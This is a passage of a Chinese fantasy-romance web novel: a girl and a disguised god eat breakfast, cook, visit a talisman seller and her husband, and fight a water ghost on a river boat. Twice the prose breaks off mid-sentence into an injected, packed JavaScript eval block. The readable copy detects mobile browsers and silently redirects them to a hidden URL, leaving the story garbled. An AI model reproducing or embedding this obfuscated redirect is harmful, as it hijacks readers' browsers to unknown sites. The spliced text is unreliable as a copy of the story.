牛肉汤,油酥烧饼,小笼包……活泼泼的色泽,祝今照瞧着直流口水。 书页顶头标着一行字:淮南区域人类常规早点。 “……人类?”祝今照还迷糊着。 翻回书封去看。线装册子,封皮干净古雅,上头端端正正几个大字,写着奇怪至极的书名—— 《凡间生灵饲养纲目》。 祝今照举起手抓头发:“……我一定是还没睡醒。” 书一丢,飘着往盥洗架那边去了。 裴枕寒端着碗筷走进院子。 身姿颀长,衣摆带起一点风。槐荫的碎影从他面上掠过,莹白的玉容,明明暗暗。 他进屋,弯腰将吃食放在堂中食案上。 转身时,目光落向书案,那本书摊开着。 去得久了,忘了先收起来。 他拿起书,一道灵光拢过,便在手中消失了。 祝今照回到堂中,正瞧见小道长坐在食案前。 双手捧着一只碗,端端正正坐着。脊背挺得直直的,莫名有些乖巧。 “小道长?” 她凑过去,“是你背我回来的?你昨夜……怎么睡的?” 裴枕寒抬起眼,眸子里清清淡淡,像月光落在水面上。 “不曾睡,替你守着。” 祝今照怔住。 他垂下长睫,将碗往她那边推了推:“吃罢,温度正合适。” 祝今照走过去坐下:“你吃过了么?” 裴枕寒本不必吃饭。每日采气运功,早晚课毕,便算是饱了。今早的功课已做过了。 他点了点头。 祝今照便低头去看那些吃食。 小笼包,油酥烧饼。牛肉汤,杂粮粥。糖糕炸得金灿灿,蒸饺皮透亮,狮子头油汪汪…… 肚子咕噜一声,等不及似的叫唤。 穿过来这么久,头一回见着般丰盛的早点摆在眼前。 她目瞪口呆:“这是……我家大厨房里的?我的份例?” 裴枕寒摇头。眸中透出些疑惑,思索道:“你是家中小娘子,书上说,家中厨房该有你的吃食才是……” 祝今照喃喃:“……书上?” “可我去拿时,仆妇和小厮都不甚热络,只说家中食材不够,让你自己买菜做饭。” 祝今照哈哈两声,无所谓地道:“正常操作。” “我便出门去早市买了这些。不知你的口味,便每样都买了些。” 祝今照已经舀着牛肉汤喝得香甜,闻声险些一口喷出来。 “什么?!你买的?” 她啪地搁下勺子:“这怎么行……怎么能让你破费!不成不成,我把钱给你。” 说着便要起身去翻荷包。 裴枕寒伸手拦她。手指修长,轻轻搭在她手腕上,又收回去。 温声道:“不必了,小娘子……不似宽裕之人。” 祝今照看他,忍俊不禁:“你都落魄成这样了,住都没地方住,还说我?” 裴枕寒道:“我手里银钱多得很,也无处花,这些算不上什么。” 祝今照诧异:“是么?” 转念又想,修士平日是收妖的,妖物身上多半有财,小道长说不准真有钱。 弯眼道:“那我便记下你这份恩情啦。” 用过早饭,祝今照帮小道长收拾空屋。 小道长要跟她七日,说是报恩。她心中却道,他怕是没地方可去。便对他说,想住多久住多久,不必拘着日子。 忙前忙后,在宅子里进进出出。 家里人都不知裴枕寒是什么人。瞧他那张脸生得那般好看,气度又清贵,却给十三娘端茶递水、跟前跟后的,纷纷相互嘀咕——怕不是十三娘买了个伶人进屋。 这事若传出去,于十三娘的婚事有碍,聘礼怕是要掉一档。徐夫人气得直骂。 但祝今照自打落水被救上来,性子变得又滑又刚。骂她,她胡言乱语;吓她,她嗓门比你还大。根本管不住。 祝三叔忙着行商,又是办货又是走镖的,常年不着家;泽哥儿又小,还在学堂念书。家里连个能镇场子的爷们儿都没有。 徐夫人没法子,只能指着底下人训话,叫他们把嘴闭严实了。对外只说给十三娘新添了个小厮。 到了中午,徐夫人早早吩咐下去,不准给十三娘饭吃。 祝今照倒不在意自己。只是不想偷吃食来分给小道长,偷这个字,总觉得不该让他那样的人沾上。 便去菜市买了菜,在她院里的小厨房自己做。 裴枕寒帮着劈柴,打水。 祝今照在一旁瞧着。衣摆飘飘,眉眼沉静,做起粗活来却一声不吭。 她心里头过意不去,总觉得自己在欺负他。 她推着他的后背,把他按院中石桌前坐下:“你负责在这儿歇着,我一个人做得来。” 自己烧火,洗菜,竟都顺顺当当做下来了。祝今照心说做饭也没那么难嘛。 米饭蒸上。切菜,热油,下锅。 主宅里,几个丫鬟小厮簇拥着一个十五六岁男孩进门。男孩穿一领平滑的圆领袍,是时下最流行的好绸缎。 “泽哥儿放学啦,快来。”徐夫人笑意盈盈地招手,“饭就快好了哦。” 祝泽跑过去拉住徐夫人的手,仰脸看西偏院冒出的黑烟:“阿娘,那是怎么回事?” “你十三妹妹自己做饭呢。”徐夫人哼了一声,“吃咱们的,用咱们的,还不服我的管。我倒要瞧瞧,离了我,她能不能吃到嘴里一口热乎的。” 又对祝泽笑道:“没事儿,和你无关。去书房做作业罢。” 祝泽点头,跑去了。 一阵油烟乱飞后,祝今照端着她颇感满意的饭菜,搁在石桌上。 “饭好啦,一起吃。” 裴枕寒仰起脸望她。 晴光融融,满院鸟声啁啾。 这样的晴日,若放在平日,他总觉得有些寂寥。可这小娘子太热闹了,连带着周围也热闹起来。 心头涌上不知名的感觉,有些陌生,但不讨厌。 他夹起一块黑乎乎的鱼块。 放在嘴里嚼。 “怎么样?好吃么?” 祝今照亮着眼睛问。 裴枕寒不懂这算不算好吃。 平日端给他的那些供品,他偶尔也尝一两口,这个味道,和那些不大一样。 他细细分辨着。咬了一口,又咬了一口。 “看起来很好吃咯?” 祝今照开心地坐下来。夹起一块肉,嗷呜一声塞进嘴里。 “呕——” 祝今照挠头:“我炒的不是肉么?怎么吃起来像水泥拌酱?” 裴枕寒道:“很难吃么?” 祝今照皱着脸:“难吃!难吃得要死。你是怎么面不改色吃那么多口的?” 一把夺过小道长手里的碗。 “不准吃了,这有毒,吃了容易得病。” 将碗里的肉和菜通通扣进桶里,盘子里的也都倒了。 想到他方才懵懵懂懂嚼了又嚼的模样,又添了一句,“以后这种味道的东西也不准吃,知道么?吃得死人的。” 水杏眼圆睁睁盯着他,咄咄逼人。 裴枕寒轻轻点了点头。 好乖。好萌。 祝今照手一抬,便想去捏他的脸。 裴枕寒转眸看向她手指。 她蓦地意识到自己很没礼貌,手指尴尬地收回去,绕上双髻上红绳。 清了清嗓门。 “那个那个——哦,我带你出去吃。” 目光扫向厨房,“剩下的食材……本来想留着做晚饭的。现在……扔了罢。” 裴枕寒顺着她目光望过去。案上搁着肉和菜,整整齐齐。 仰起脸来看祝今照,手指伸过去,轻轻攥了攥她衣袖,道:“别扔,让我来试试。” 白衣飘飘地走入厨房。 两指抵在额角,垂下长睫。灵海深处,诫咒那本书被调了出来—— 【正在调取《绣帷食方》……】 【已调出。神君不愧是神君,能主动学习中馈事务,真是英明神武!雄才大略!深明大义!】 灵光流转,一本线装册子幻在半空。 【祝神君做饭愉快。】 裴枕寒手指抚过书页,里头内容化作虚幻的灵光,浮在半空。他仰面认真看。 先用臂绳将长袖束上去。 裴枕寒将臂绳拿在手里。 那是祝今照做饭时用的,挂在颈项间,搂起衣袖,是她的尺寸。 太短了,她用刚好,他用远远不够。 有没有什么巧妙的办法,能让短绳也起到同样的作用呢? 裴枕寒想不出巧妙的办法。 捏个诀,将绳子物理加长。 绳子悄无声息地长了一截。 束在双臂,露出两截莹白的小臂。 祝今照坐在石桌前,对着厨房托起腮,出神地望着。顺手给自己倒了杯茶,抿一口。 裴枕寒将鳜鱼两侧划了刀。盐抹进去,姜片塞进去,料酒淋一圈。 指尖轻轻一抬,调出些法术来,各种用料的分量,一一称过,控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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裴枕寒坐下来,安静地瞧她一边说,一边大快朵颐,伸筷子帮她夹了块肉。 唇角弯起一个极微小的弧度。 ** 月上中天,院中秋虫唧唧。 厢房透出昏黄的灯火。 裴枕寒坐在方凳上,衣袍褪下些许,露出背上的肌肤。祝今照站后面,指尖抹了药膏,往伤口上涂。 他身子死不了,受伤便很少管,让它自行愈合便是。 对祝今照说不必涂。 可她自己买来了金疮药,非要给他抹:“你身上带着伤,行动便不便利。” 清清凉凉的药膏,抹在伤口边沿。 祝今照一边抹,一边絮絮叨叨。从不涂药的危害,说到宇宙的起源,最后说回中午的饭。 “……又是做饭,又是收拾,一通忙活下来,我若是请人来做,少说也要花上一两银子。你做这许多,我若连你的伤都不管,还算什么朋友。” 纱布绕在他脊背,一圈又一圈。在他腰间系了个蝴蝶结。 “好啦。” 将他衣领轻轻往上提了提,让他自己拢好。 她在一旁扭腰锤腿。 昨天乱跑了一天,今天又在家里忙前忙后的,身上着实有些酸痛。 裴枕寒扭头瞧她。 “我通些按摩之术,或可帮小娘子缓解疼痛。小娘子不介意,可以躺在榻上。” “这个……”祝今照摸脖子,“不太好罢?” 裴枕寒手里系着衣带,抬眸看她一眼。 “小娘子身上带着痛,行动便不便利。” 祝今照噗哧笑出来。 这人,竟拿她的话当回旋镖使。 “嗯……那行罢。” 她往榻上一躺。扭了两下,伸个懒腰,舒服地眯起眼。 裴枕寒走过来,衣袂带起轻风。 半蹲在榻边。 修长的手指伸出,落在她花花绿绿的衣裳上。指尖凝着法力,热流灌进去,替她疏通经脉。 “唔……” 祝今照眼睛都眯成缝了。 “你怎么什么都会……” 她侧过脸来。 目光描着他那张漂亮得不真实的脸。碎发垂在他额前,随动作轻轻飘动。 看着看着,视线便朦胧了。 “……三婶说得那句话说得也对。我不能一直花阿兄的钱……” “明天去找摊主小娘子,买符纸……” “拿到符纸,去鬼市试试水……” 裴枕寒双手微微一顿。抬眼看她时,呼吸已绵长了。 眸子微转,一点忧色浮上来。 静了片刻,他起身,拉开床榻那头的被褥,轻轻盖在她身上。 走到灯台旁,将灯火吹灭。 月光从窗棂透出来,铺了一地。 裴枕寒坐在旁边桌案前,支着额头,瞧她睡容。 片刻,轻轻阖上眼。 7. 阿衡 次日午后,暖风熏人。 祝今照提了一篮鸡蛋,带着小道长往福禄街去。 北斗符铺前,幡旗轻扬。 摊主正立在门口的摊位后头,替客人捆扎灵符。 她长发用一支荆钗绾在发顶,发饰朴拙。 髻上却插了几朵小野菊,暖风吹过,花瓣微微颤动。衬着那张娟娟如水的好容貌,令人耳目一新。 齐胸撒花襦裙,窄袖襦衫,腰间系一条素布围裙。 寻常衣裳,穿在她身上,凭空多了层安逸踏实的感觉,瞧着叫人舒心。 祝今照扬手招呼:“小娘子!” 摊主将灵符递给客人,抬头一看,眼前亮起来:“小娘子!” 手在围裙上擦两把,碎步迎上去,“我还盘算着,该怎么谢您的救命之恩呢!” “谢什么,举手之劳。”祝今照将鸡蛋递过去,“我叫祝今照,族中行十三。” 摊主纤腰弯了弯:“祝十三娘好。” 祝今照摆手:“嗐,你叫我朝朝就好。小娘子贵姓?行几?” 摊主面颊红了,双手交握腹前,垂头笑:“我叫桑小云,没什么族不族的,家里就我一个。” 抬起脸,怯生生望向祝今照身后那位白衣公子。想招呼,但又被他的长相气度镇住,不敢说话。 那日裴枕寒只在空中一闪而过,众人都还没看清,北斗宫和节度使府的人便都来了。桑小云自然不认得他。 祝今照侧身引见:“这位是……” 眨了眨眼,转头看他,“小道长,我还没问过你名字呢。” 裴枕寒神色恬淡,轻轻颔首:“唤我阿寒便好。” “阿寒。”祝今照伸手指他,对桑小云弯眼。 桑小云对裴枕寒欠了欠身,还是不敢对他说话。 提着鸡蛋进了铺子,招呼二人坐下,倒了两杯茶,又端来一盘橘子。 她是小本生意,请不起伙计。见恩人来了,干脆提前收摊。 裴枕寒端端正正坐着,修长的手指剥着橘子,橘瓣搁在祝今照面前。 祝今照见桑小云收摊,连忙起身拦:“别呀,怎么能耽误你做生意?我帮你一块儿卖。” 桑小云弯起眉眼:“不打紧。我平日也差不多这个时辰收摊,要赶回家,去给夫君做饭。” 祝今照瞪圆了眼:“你有夫君?!你才多大啊?” 桑小云蹙眉笑了笑,有些无奈:“我不小了,今年十八。” 祝今照咕哝了一声:“哦……古人成婚都早。” 说着便撸起袖子,跟她一起出门收拾。 裴枕寒见祝今照出去,搁下手中橘子,也起身跟了出去。 桑小云余光见他跟着起身,又将橘瓣齐齐搁在朝朝面前。 她转向祝今照,想说什么,抿了抿唇,又咽了回去。 走到门口,将摊架上的符纸分门别类,一一码进桃木盒里。 “不麻烦的,把符纸收了,摊架拆了搁屋里就成。” “明白!”祝今照抱着盒子,跑前跑后地帮忙。 怕小道长闲着没事干,又退回来,给他分配任务:“你去拆那摊架。”想了想,补一句,“若是背上疼,就回来歇着,放着我们来。别忍着,知道么?” 裴枕寒轻轻点头。 祝今照满意地弯起嘴角,抱着盒子随桑小云进了屋。 裴枕寒走到摊架前。 架子有七尺来高,她们要踩凳子够,他抬手便轻轻松松。 盯着榫卯处看了片刻,理解了它的结构。 抬起手来拆。皎白的衣袂滑落下去,露出半截莹白的小臂。拆下一块,搁在一旁,动作不紧不慢。 屋里,桑小云偷眼望了望外头那道白影,小声问:“小郎君身上有伤么?我家有伤药,夫君也通些医术,可以帮着看看。” “这个……” 祝今照往外望了一眼。 “我不能替人家做决定。待会儿我问问,看他愿不愿意。” 桑小云大眼睛一眨一眨,呆呆的:“你和他不是……他不是你的……” 祝今照:“嗯?” 桑小云抿唇,嘿嘿笑着岔开话题:“不管怎样,今晚十三娘得来我家吃饭。我早就盘算好了,要做一桌子好肉好菜谢你呢。” “好呀,我最爱在别人家蹭吃蹭喝了。”祝今照弯眼,“你家在哪儿?远不远?” “等会儿夫君驾马车来接。就在城郊,官河南岸,一座太白庙里。” 祝今照蹙起眉头,喃喃:“太白……” “什么?!” 手一抖,桃木盒子脱了手,符纸哗啦啦撒了一地。 “啊对不起!” 祝今照连忙蹲下去捡。 “没事没事,我来。”桑小云提裙蹲下来。 裴枕寒单手抱着摊架进屋,正看到这一幕。 他将摊架靠墙放稳,情绪稳定地跟着去捡。 屋外,马啼声哒哒传来。 一道温润的嗓音响在门口:“娘子——” 祝今照抬眼看,是一个书生打扮的小郎君。 一身粗布麻衣,墨发用发带半束着。但他周身透着矜贵的气度,相貌也生得十分俊俏,剑眉星目。瞧着风度翩翩的。 他垂着眸子,目光直直落在裴枕寒面容上。 裴枕寒亦久久看着他,凤眸微眯。 站起身来,将符纸搁进桃木盒,放在桌上。 不知是不是祝今照的错觉,小道长似乎刻意往她身前挪了半步。 “夫君!” 桑小云眼睛一亮,跑过去,拉他的手。 转身引见,“这位是祝家十三娘,就是我跟你说过的,我的救命恩人。” 祝今照举起一只手晃了晃,弯眼道:“你好。” 男人俯身一礼:“十三娘救了家妻,便是于在下有恩。在下无姓,单名一个衡字,十三娘唤我阿衡便好。” 怎么又一个没姓的? 祝今照挠头,干笑道:“阿衡郎君。” 桑小云又指裴枕寒,怯怯道:“这位是阿寒郎君……” 阿衡又对裴枕寒行礼:“小郎君。” 抬眼看他,眸中含笑,声音温润:“真是巧事。在下有位故人,名字里也带一个寒字。” “不知小郎君,可也有位名中带衡的故人?” 裴枕寒修眉轻蹙,静静盯着他,不说话。 “哈哈!”祝今照从裴枕寒身后出来,“小道长的意思是——他也觉得很巧,巧得瞠目结舌,说不出话。” 双手合十,冲阿衡晃了晃,“他心里很友善,就是有点不擅言辞,阿衡郎君体谅则个。” 阿衡唇角含笑:“不敢。” 桑小云挨在他身旁,攥了攥他衣袖,仰起脸,声音带着娇羞:“夫君。” 阿衡对她点点头,转向众人:“今日恩人与故人齐聚一堂,是绝好的日子。行乐需及时。在下邀诸位共聚寒舍,饮一杯酒水,如何?” ** 阿衡帮着桑小云收拾停当。桑小云锁了铺子门,同祝今照一齐上了马车。 裴枕寒同阿衡坐在车辕上。 马蹄哒哒,车子晃晃悠悠走了起来。 祝今照坐在车里,嘴闲不住:“你家住在那太白庙里?” 桑小云点头:“我夫君管着庙里的庙务,我们就住在庙后的小院儿里。” 祝今照睁圆了眼:“那庙里有只妖怪作祟啊,你们不害怕么?” “有什么办法呢。”桑小云扁扁嘴。 “同样管菜园子的活,好点儿的庙里,都要求有五年以上的种菜经验,还只能是在城里大宫观里干过的才认。小庙里的履历,人家看都不看。就这,旁人还挤破头抢着去呢。” 祝今照闻言就释然了。 “理解,理解。” “娘子家里也是清贫出身?” 桑小云垂头:“我就是个小农户。夫君是逃荒来的。那时我家有老人要照顾,便招他入了赘。” “后来老人病逝了。夫君说,这年头朝廷腐败,官府里贪官污吏多,征的税又重又杂。只守着几亩田,怕是不长久。便把田卖了,出来找事做。” “哦,”祝今照了然,“你夫君便找到了那座小破庙,管菜园子,包吃包住?” “不止呢。”桑小云清丽的大眼睛一眨一眨。 “庙里管事的都跑光了,只剩一位老住持守着。那道长年纪大了,管不动事,一应庙务便都交给我夫君打理。” 她掰着手指头,“菜园子之外,还兼任账房、值殿道士。有时候周边村里有人请做法事,也是我夫君去。” 祝今照笑着拍开她的手:“那这么说,你夫君不就是实际上的住持了?整座庙都是你们家的。” 桑小云双手放在膝盖上搓着,垂着脑袋:“嗯……” 祝今照瞧着她,眉头挑了挑,故意叹口气:“桑娘子的夫君这般能干,是个大英雄呢。难怪桑娘子这般依赖他。啧啧,郎才女貌……” 桑小云涨红了脸,扑上去捂她的嘴:“这种话怎么能说!羞答答的……” 欢笑声从车帘里透出来。 车辕上,两人沉默地坐着。一个白衣飘飘,一个麻衣轻扬,互相不看对方一眼。 祝今照忽然想到什么,止住桑小云打闹的手:“对了,那庙前的纸扎人,还有那勿入的牌子,是你们做的?” 桑小云讶然:“十三娘怎知!是我做的。夫君说没用,但我想着,能救一人是一人……” “不过、不过——”她连忙摆手,“昨日,夫君说让我撤下那些,说那妖怪已被收了,不会再来了。” “嚯,”祝今照瞪圆了眼,“尊夫君是个高人啊。是已被收了。我收的。” 桑小云愣住:“啊?!” “我用符纸收的。” “啊?!” 祝今照掏出那三彩陶俑,递给她看。 桑小云接过,翻来覆去地瞧,嘴里喃喃:“可是……夫君明明说,符纸得配合法力捏诀才管用啊。” “嗯?”祝今照眨眨眼,“北斗宫的符纸也不行么?” 桑小云想了想,摇头:“北斗宫开过光的符纸,是真君灌注了些法力在里头。但那法力不高,防身够用,收妖是远远不够的。” “况且……”她怯生生看祝今照,“捏诀之事,需在玄门修习过才能懂得,寻常之人,怕是没人会罢。市面上那些捏诀的书,真真假假的,十三娘可别被人骗了去。” 祝今照听了,也有些摸不着头脑。 原著是低魔世界观,压根没提过这世上有神明。 兴许是真实世界有神明,只是原著没写出来。 这么一来,跟神明相关的那些门道,她知道的就少得可怜了。 总不会是那晚,碰巧有神仙经过,顺手帮了她一把罢? 怎么可能。这也太离谱了。 此时,马车忽然一偏,停住不走了。 外头天色阴沉下来。风灌进车帘,带着一股雨腥气。 桑小云还没回过神,祝今照已掀了帘子:“怎么了?” 车已到城郊。裴枕寒立在草地上,朝她递过一只手:“车轮坏了,下来罢。” 祝今照握住那只修长的手,一个飞鹏展翅,跳下地去。 冲劲太大,一头扎进小道长怀里。清冽的冷灰香扑面而来。 她连忙把自己拔出来,拍了拍他衣襟:“哈哈,抱歉。” 裴枕寒安安静静地看她,唇角微微扬着,温声道:“无防。” 祝今照扭头瞧了瞧歪着的车轮:“怎么忽然坏了,是郊外路滑么?” 裴枕寒语气像是无事发生:“并非道路之过。某个凡夫故意生事罢了。” 祝今照:“啊?” 桑小云攥紧裙摆,被阿衡抱了下来。 阿衡俯身向二人行礼:“十三娘,寒弟,抱歉,是我疏忽。咱们改坐船罢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500517|202707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑小云扯扯他袖子:“夫君,你不是说,官河里近来水鬼多,坐船危险么?” 阿衡含笑:“今日有北斗宫的道长在两岸做法收妖。既有北斗帝君坐镇,不会有事的。” 桑小云似懂非懂地点点头。 阿衡将马车牵去附近农户家,托人照管。回来叫了一条渡船。 祝今照拉着桑小云钻进船篷。 两个男人一左一右,守在篷外。 天阴得像入了夜,眼看要下雨。 船被风浪顶得忽上忽下,像一片叶子在水里颠。水珠打进船舱,分不清是雨点还是江水。 桑小云颠得几欲呕吐。 祝今照一手拉着桑小云,一手扶着篷壁,越过桑小云对着篷外喊:“还要多久啊——” 阿衡正半蹲着,一手扒着船篷边沿,一手握着桑小云的手。 他看向祝今照:“不到一刻钟,十三娘且忍一忍。” 又低头对桑小云道:“娘子忍一忍。” 一个浪头扑过来,鱼腥味冲进鼻腔。饶是祝今照身体素质好,此时也有些扛不住了。 扭过头背对着桑小云,直拍心口。 裴枕寒半蹲下来,微凉的手扶上她肩头。 祝今照话都说不利索了,还在摆手:“我没事……不用管我……唔——” 裴枕寒一把将她拽了出来,立在船板上,抱住了她。 狂风灌过来,他的衣袂啪啪打在她身上。二人发丝纠缠在一起,黑的缠着黑的,分不清是谁的。 “啊?”祝今照很懵,“小道长,你干什么?” 裴枕寒掌心凝起一股微凉的气流,自她后背灌入。 祝今照脑中浊气霎时一清,整个人神清气爽。 她没觉察到那道气流,只猛地推开他:“我都说了我没事!你干嘛……”摸了摸脑门,“咦,好像真没事了。” 浪头翻涌间,江水两岸忽传来喃喃的念诵声,玄妙莫测,遥不可辨。 祝今照扭头望过去。 隔着翻涌的江水,岸边聚着一群白衣道长,正对着江底念咒。衣袍上绣着北斗七星的图案,江风一吹,衣袂翻卷。 “是北斗宫的道长!” 祝今照仰脸喊,“小道长,是不是这段河会有危险啊——” 话音未落,船篷里一声惊叫:“啊——!鬼,有鬼——” 祝今照猛一扭头,自己也跟着叫了出来:“啊——!” 船板上不知何时,趴了一个黑乎乎的东西。只伸出的一只手白得反常,正死死攥着桑小云的脚腕。 桑小云乱踢乱蹬:“夫君……呜呜……夫君救我……” 小船本就在浪头上乱晃,此时被扑腾得一颤一颤的。 祝今照咽了口唾沫,扑过去便拍那水鬼的手:“放开她,放开她!” 阴冷的鬼气扑面打来,激得她汗毛倒竖。 岸上,一名年轻弟子望向黑沉沉的水面,对前头那道英武身影喊:“霹雳师尊,河里似乎有人!” 霹雳子急道:“先救人!若因做法伤了生民性命,今日在场的,帝君一个也饶不过!” “是!”那修士扬臂高呼,“诸位同门,随我过江救人!” 一群白衣足尖点水,掠入江心。 阿衡盯着桑小云那只被勒得发红的脚腕,眼圈红了。 他猛地扬声:“堂堂北斗帝君!为了不暴露身份,宁可旁观一个凡间女子被邪祟折磨么?” 祝今照抬脸,匪夷所思看他:“你胡言乱语什么?快帮忙啊!” 阿衡仍旧自说自话:“就为了满足你一时的私欲?心安理得赖在一个小娘子身边?看来那个三界皆知的正道魁首,也不过是个伪……呃——” 没人看到发生了什么。 只一道白影闪过。 那只死死吸在船板上的水鬼,转眼便缠到了阿衡身上。 祝今照还趴在船板上,眼前鬼物忽然不见了。她精神一振:“它走了!” 抬起脸,眨了眨眼:“刚刚是不是有什么东西闪了一下?” 阿衡侧身蜷在船板上,任那水鬼死死吸在背上。只双手护着脑袋。 阴冷的鬼气往五脏六腑里钻,皮肤一道道裂开细口。 他牙齿咯咯打颤,逸出断断续续的闷哼。 裴枕寒立在船那头,垂眸瞧他。冷哼一声,低低道了声:“自作孽。” “夫君!夫君!” 桑小云扑过去,想帮阿衡。 祝今照连忙扑进船篷去拦:“阿云,别冲动!” 裴枕寒指诀轻拈,一道光罩挡在桑小云身前。蓝紫光的微光流转,将她轻轻弹了回来。 岸上,霹雳子眉头微蹙,觉察空气中的法力气息。 闭眼细细感受,蓦地睁眼:“帝君!” 江面上,众修士找了过来。 为首修士声音压着怒气:“船上的人!此乃北斗宫做法之地,邪祟肆虐,凶险万分!没人告诉过你,施法禁地,外人莫要擅闯么!” 身后,霹雳子却踏水而至:“左青,不必管那船了。带你师弟们随我走。” 左青怔了一瞬,应了声是。 领着身后一众修士,跟在霹雳子身后,白衣飘飘掠向对岸。 小船在乌黑的江水里颠簸远去。 霹雳子对着那船,单膝点地,垂首恭声道:“帝君。” 左青浑身一震。 他们霹雳师尊,乃上神雷公所化。 身为四大自然神之一,这世上没人能叫他下跪。便是那九天之上的天帝,也不能。 除非—— 他连忙随霹雳子跪下去,俯首道:“帝君。” 祝今照从船篷里钻出来,急急唤道:“小道长,你快来看看,有没有什么法子——” 她扯着裴枕寒便往船篷里拽。 忽地,瞥见对岸,一群白衣道长齐刷刷跪了一地。 她蹙起眉头。 看向神色淡然的小道长。 8. 保护好自己 “这作法仪式好生奇怪,还要一齐下跪么?” 祝今照望着小道长,眨着眼道。 裴枕寒凤眸微转望向对岸,面上毫无波澜,淡声道:“是呢。” 祝今照挠了挠双髻。 没再多想,拉着小道长钻进了船篷。 阿衡被按在船板。 那水鬼嗬嗬怪叫着,龇出獠牙,扒拉着他的头发,要将獠牙扎进那段洁白的脖颈里去。 “夫君……夫君……”桑小云哭肿了眼,攥着祝今照的手不肯放,“十三娘……怎么办……求你救救我夫君……我不能没有夫君……” “好,好。”祝今照一面抚着她脊背,一面仰脸看小道长,“小道长,你有什么法子么?” 裴枕寒从旁边取来一支船篙,掂了掂,递给祝今照,对她微微扬了扬眉。 祝今照接过:“你是说,用这个把那水鬼拨开?” 她一脸惊讶,“不是……可这是冷兵器,那水鬼显而易见是个法术系啊……这能行么?” 裴枕寒听她这新奇的说法,怔了怔,眉眼不由带了点浅笑。 “试试。” “好罢……”祝今照握紧竹篙。 扭过身去,对身后喊:“船家,用一下您的竹篙,您介意么?” 船家早已吓得冷汗直流,硬撑着往前划。一面擦汗一面道:“用罢用罢,只要能把那东西弄出去。再也不随便带人闯这种做法之地了!” “好嘞,多谢!” 祝今照垂下眼,盯着手里的竹篙。 桑小云紧紧搂着她胳膊,声线发颤:“小心些。” 祝今照点点头,咽口唾沫,将竹篙往前推。 篙头抵上那道淡色屏障,竟像穿过一层水面,轻轻易易就过去了。 “它能过去!”祝今照杏眼一亮。 再往前伸,竹篙被她举得颤颤巍巍的。 那水鬼口中嗬嗬声却蓦地止住了。 它僵硬地转过脸,死灰的眼球猛地缩紧。 “咦?”祝今照眉毛扬起来。 嘴角一勾:“受死罢!” 船板上,阿衡抬眼看,一眼瞧见竹篙上微微闪动的蓝紫色灵光。 他急喊:“等等!” 竹篙已猛地捅了过去。 “啊——”水鬼尖叫起来。 叫声瞬间止住。 竹篙所点处,它胸口龟裂开,体内黑水噗嗤一声,喷涌而出。 阿衡抱着脑袋,生生受了满身腥臭的尸水。 水鬼化作一滩黑水,顺着船板流走了,只剩下一堆破旧衣物在原地。 “成了!”祝今照欢呼。 桑小云连忙提裙跑过去,弯腰拉阿衡:“夫君!” 她把人搀起来,尸水顺着阿衡发丝往下滴落。他抬眼,阴郁地看了裴枕寒一眼。 小船渐渐平稳了。不多时,到了太白庙。 裴枕寒立在岸边草地上,递一只手给祝今照。 祝今照扶着跳上岸,道了声“多谢”。 阿衡付了船钱,此趟凶险,他特意多付了一倍。 他同桑小云相互搀扶着走。 桑小云觉察到他一路沉默。 替他拧着衣服上的水,轻声道:“夫君,我知你有洁癖。可十三娘和阿寒郎君是为救你,你千万莫要怪他们才是。” 阿衡低头看她,含笑道:“娘子何出此言。十三娘自是一片好心。” 他抬头看前头,裴枕寒正低着头,看着蹦蹦跳跳的祝今照,“至于寒弟……我更是感谢还来不及呢。” ** 庙后的小院,是桑小云一手收拾的,十分干净妥帖。 竹篱围了一圈,篱上绕着碧藤,不知什么品种。 篱外辟了一小片花地。初秋时节,菊花开得正好,风一过,轻轻摇动,恬静美好。 祝今照一下就被吸引了:“好漂亮的花!” 扭头问桑小云:“能摘几朵玩么?” 桑小云笑道:“当然。” 祝今照拉着她便跑了过去,摘花往桑小云鬓上比。 阿衡站在门前开锁。吱呀一声,院门推开。 汪汪几声,一只小黑狗撒着欢疾奔出来。 祝今照又被吸引了:“小狗!好可爱!” 抬眼巴巴望阿衡:“可以摸么?” 阿衡含笑:“自然。” 祝今照跑过去,蹲下来便揉。 两只手那么大的小黑狗,黑毛杂金毛,肚皮是金色的。长相很标志。 祝今照喃喃:“像德国牧羊犬呢。” 将它举起来,问:“它叫什么名字?” 桑小云道:“没起名,随便叫叫就好。” “那就叫小黑罢,”祝今照抱起来疯狂亲它,“小黑黑,你是一只霸气的小奶团子!” 小黑被她抱在手里,眼皮耷拉下去,作厌世状。 桑小云瞧着直笑:“朝朝还是个小孩子呢。” 顿了顿,又道,“这狗是我夫君的,我平日里,很多时候都怕它。” “嗯?”祝今照奇怪地看看狗,又看看她,“怕它做什么?明明这么可爱……” 桑小云颓丧地道:“总觉得它有时气场好强,压得人难受,不像小狗。夫君说是我多想了。” 四人往院子里走。 阿衡温声道:“确是娘子多想了。” 祝今照咬着手指,看小黑颠颠跑进门,也道:“对啊,分明这么可爱。” 裴枕寒走在最后,盯着那黑狗,凤眸微微眯起来。 目光不像在看一只小狗,像在看一头庞大的兽类。 众人进了堂屋。 祝今照拉着桑小云往椅子里一歪,疲惫地松了口气。 今日实在折腾得够呛。祝今照便提议,不必费心张罗大餐了,一人一碗汤面,热乎乎吃下去就很好。 四人一合计,都没有异议。 桑小云又道,不如今夜就歇在这里玩,明日睡到日上三竿,再一道回城。 祝今照一听可以玩就很兴奋。 她出门前已跟家中嬷嬷说过,要去朋友家做客,自己倒没什么。只是担心桑小云的生意。 桑小云摆摆手,说这铺子本就是补贴家用,并非家中主要进项,偶尔停一两天不碍事。祝今照便放心了。 桑小云起身道:“夫君,我去帮你烧洗澡水,衣裳也一道洗了。” 阿衡沉默了一息,道:“我自己来罢,今日你累坏了。” 